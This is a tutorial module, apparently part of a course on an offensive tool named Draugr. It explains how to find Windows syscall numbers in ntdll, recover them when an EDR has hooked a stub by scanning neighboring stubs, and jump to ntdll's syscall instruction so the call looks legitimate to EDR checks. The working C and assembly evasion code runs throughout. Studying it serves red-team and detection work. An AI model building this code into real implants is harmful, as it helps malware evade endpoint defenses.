Module 4: SSN Resolution & Indirect Syscalls

Finding syscall numbers, handling EDR hooks, and jumping to the syscall instruction inside ntdll.

1. Direct vs Indirect Syscalls

There are two fundamental approaches to executing syscalls without going through EDR-hooked ntdll stubs. Each has different detection characteristics:

Draugr uses indirect syscalls. The syscall instruction executes from ntdll's memory, passing InstrumentationCallback checks. The call stack problem is solved separately by synthetic frames (covered in Modules 5-7). This two-pronged approach gives Draugr evasion against both Layer 2 (return address validation) and Layer 3 (call stack analysis).

2. The ntdll Syscall Stub

Every Nt* function in ntdll.dll is a thin stub that transitions to the kernel. In its clean (unhooked) state, the stub is only about 12 bytes:

x86-64 ASM; Clean ntdll syscall stub (e.g., NtAllocateVirtualMemory)
; Total: 12 bytes
;
4C 8B D1          mov  r10, rcx       ; Save 1st arg (syscall clobbers RCX)
B8 18 00 00 00    mov  eax, 0x18      ; SSN = 0x18 (NtAllocateVirtualMemory)
0F 05             syscall             ; Transition to Ring 0
C3                ret                 ; Return to caller

; Byte pattern: 4C 8B D1 B8 [SSN_LO] [SSN_HI] 00 00 0F 05 C3

The SSN (System Service Number) is the index into the System Service Descriptor Table (SSDT) in the kernel. Each Nt* function has a unique SSN. The kernel uses EAX as the index to dispatch to the correct kernel function.

3. Draugr's Primary SSN Resolution

Draugr resolves SSNs by pattern-matching the known clean stub bytes. When initializing, it locates each target Nt* function in ntdll and checks if the first bytes match the expected pattern:

C (Draugr SSN Resolution)// Primary resolution: pattern match for clean stub
// Looking for: 4C 8B D1 B8 [SSN_LO] [SSN_HI] 00 00
//              mov r10,rcx; mov eax, SSN

BOOL ResolveSsn(PVOID functionAddress, PWORD outSsn) {
    PBYTE stub = (PBYTE)functionAddress;

    // Check for the clean stub signature: 4C 8B D1 B8
    if (stub[0] == 0x4C &&    // mov r10, rcx (byte 1)
        stub[1] == 0x8B &&    // mov r10, rcx (byte 2)
        stub[2] == 0xD1 &&    // mov r10, rcx (byte 3)
        stub[3] == 0xB8) {    // mov eax, imm32 (opcode)

        // SSN is the 16-bit value at offset 4-5
        // (bytes 6-7 are always 0x00 0x00 since SSNs are small)
        *outSsn = *(PWORD)(stub + 4);
        return TRUE;
    }

    // Stub is hooked - primary resolution failed
    return FALSE;
}

This is the fast path. If the stub hasn't been hooked by an EDR, the SSN is right there at byte offset 4. Extract it and move on.

4. Hooked Stub Fallback

When an EDR hooks a syscall stub, the first bytes are overwritten with a JMP instruction. The clean pattern (4C 8B D1 B8) is destroyed:

x86-64 ASM; Hooked NtAllocateVirtualMemory (EDR has patched it):
E9 XX XX XX XX    jmp  edr_hook_handler    ; 5-byte relative jump
00 00 00          ; remaining bytes (corrupted)
0F 05             syscall                  ; still present but unreachable via normal flow
C3                ret

; The original 4C 8B D1 B8 18 00 00 00 has been replaced
; Pattern matching fails - Draugr cannot extract the SSN from here

When primary resolution fails, Draugr falls back to a neighbor scanning technique. This exploits a fundamental property of the SSDT: SSNs are sequential. Adjacent Nt* functions in ntdll's export table have consecutive SSNs.

C (Neighbor Scan Fallback)// Fallback: scan neighboring stubs at 32-byte intervals
// ntdll syscall stubs are laid out sequentially, each ~32 bytes apart
// SSNs increment by 1 for each adjacent stub

BOOL ResolveSsnFallback(PVOID functionAddress, PWORD outSsn) {
    PBYTE stub = (PBYTE)functionAddress;

    // Search downward (previous stubs)
    for (int i = 1; i < 500; i++) {
        PBYTE neighbor = stub - (i * 32);  // 32-byte stub spacing

        if (neighbor[0] == 0x4C &&
            neighbor[1] == 0x8B &&
            neighbor[2] == 0xD1 &&
            neighbor[3] == 0xB8) {
            // Found an unhooked neighbor!
            // Its SSN + i = our SSN (since SSNs are sequential)
            *outSsn = *(PWORD)(neighbor + 4) + (WORD)i;
            return TRUE;
        }
    }

    // Search upward (next stubs)
    for (int i = 1; i < 500; i++) {
        PBYTE neighbor = stub + (i * 32);

        if (neighbor[0] == 0x4C &&
            neighbor[1] == 0x8B &&
            neighbor[2] == 0xD1 &&
            neighbor[3] == 0xB8) {
            // Found an unhooked neighbor!
            // Its SSN - i = our SSN
            *outSsn = *(PWORD)(neighbor + 4) - (WORD)i;
            return TRUE;
        }
    }

    return FALSE;  // All neighbors hooked (extremely unlikely)
}

This technique is conceptually similar to Halo's Gate (by Sektor7 / reenz0h), which also scans neighbors when the target stub is hooked. The key insight: even if the EDR hooks your target function, it almost certainly left a neighbor unhooked within a few stubs.

5. Comparison with Other SSN Resolution Methods

Draugr's approach is pragmatic: try the fast path first (direct pattern match), fall back to neighbor scanning if hooked. This provides reliable SSN resolution with minimal code complexity — important for a BOF where every byte counts.

6. How Draugr Executes the Syscall

After resolving the SSN and locating the syscall instruction address inside ntdll, Draugr's spoof routine executes the actual system call. The sequence combines SSN resolution, synthetic frame construction, and indirect syscall execution:

The spoof assembly routine (detailed in Module 5) performs these register operations just before the jump:

x86-64 ASM (Spoof Routine - Syscall Phase); At this point, synthetic frames are already built on the stack
; Arguments are in their correct positions (RCX/RDX/R8/R9 + stack)

mov  r10, rcx              ; Copy 1st arg to R10 (syscall ABI requirement)
mov  eax, [ssn_value]      ; Load the resolved System Service Number
jmp  qword ptr [syscall_addr]  ; Jump to syscall;ret inside ntdll

; Execution continues at ntdll:
;   0F 05    syscall        ; Transition to kernel (Ring 0)
;   C3       ret            ; Return to our spoof routine's cleanup
;
; At this moment, if the EDR inspects the stack:
;   - InstrumentationCallback sees return addr in ntdll (PASS)
;   - Stack walker sees BaseThreadInitThunk + RtlUserThreadStart (PASS)
;   - All return addresses are in backed memory (PASS)

C// Find the syscall instruction within the stub
PVOID FindSyscallAddr(PVOID stubAddr) {
    PBYTE p = (PBYTE)stubAddr;
    for (int i = 0; i < 32; i++) {
        // Look for: 0F 05 C3 (syscall; ret)
        if (p[i] == 0x0F && p[i+1] == 0x05 && p[i+2] == 0xC3) {
            return &p[i];  // Address of syscall instruction
        }
    }
    return NULL;
}

All of this resolution happens once during Draugr's initialization phase (InitVxTable). The resolved SSNs and syscall addresses are stored in a table structure so subsequent calls don't need to re-resolve.